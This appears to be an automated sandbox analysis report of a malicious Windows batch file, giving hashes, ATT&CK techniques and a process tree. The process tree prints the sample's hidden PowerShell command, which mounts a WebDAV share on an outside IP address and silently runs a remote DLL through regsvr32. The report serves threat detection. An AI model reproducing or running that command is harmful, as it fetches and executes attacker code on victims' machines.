b55d20cf1f88c4c4fa4d69af794be06b9e6b6dba6e982fe8bec625b594c0455a

Analysis

max time kernel
101s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20/07/2024, 01:20

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General

Target

14214271933063625124.bat
Size

14KB
MD5

2133a748d31863f8db7ae862d4df63ed
SHA1

97139b6ffcbb5e6302c33d08cf6994ff9066833a
SHA256

725bf69de9d2f64ee1c621e361bf78257b8d3ba65dfc8b62d9db7c8823d82b9e
SHA512

369f8dc47cf1be1cae15295efdae04f57fd5913fd6ec1fae5f83d0cedd371e6295a360a878ac2e82c3e27969143b4e989a1a2168408b246d793e2e8df35aa75b
SSDEEP

384:gr8JWJQqQneAzqK40gb7YorR5XYxKuDLsZRau8:gYEQeA4DbsovATgZRau8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2712	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2712	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2712	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2700	wordpad.exe
2700	wordpad.exe
2700	wordpad.exe
2700	wordpad.exe
2700	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1668 wrote to memory of 2700	1668	cmd.exe	31
PID 1668 wrote to memory of 2700	1668	cmd.exe	31
PID 1668 wrote to memory of 2700	1668	cmd.exe	31
PID 1668 wrote to memory of 2712	1668	cmd.exe	32
PID 1668 wrote to memory of 2712	1668	cmd.exe	32
PID 1668 wrote to memory of 2712	1668	cmd.exe	32
PID 2712 wrote to memory of 2764	2712	powershell.exe	34
PID 2712 wrote to memory of 2764	2712	powershell.exe	34
PID 2712 wrote to memory of 2764	2712	powershell.exe	34
PID 2712 wrote to memory of 2876	2712	powershell.exe	35
PID 2712 wrote to memory of 2876	2712	powershell.exe	35
PID 2712 wrote to memory of 2876	2712	powershell.exe	35
PID 2712 wrote to memory of 2876	2712	powershell.exe	35
PID 2712 wrote to memory of 2876	2712	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\14214271933063625124.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1668
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\203121240518707.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2764
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\203121240518707.dll
    3⤵
    PID:2876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2712-21-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/2712-22-0x0000000002610000-0x0000000002618000-memory.dmp

Filesize
32KB

Download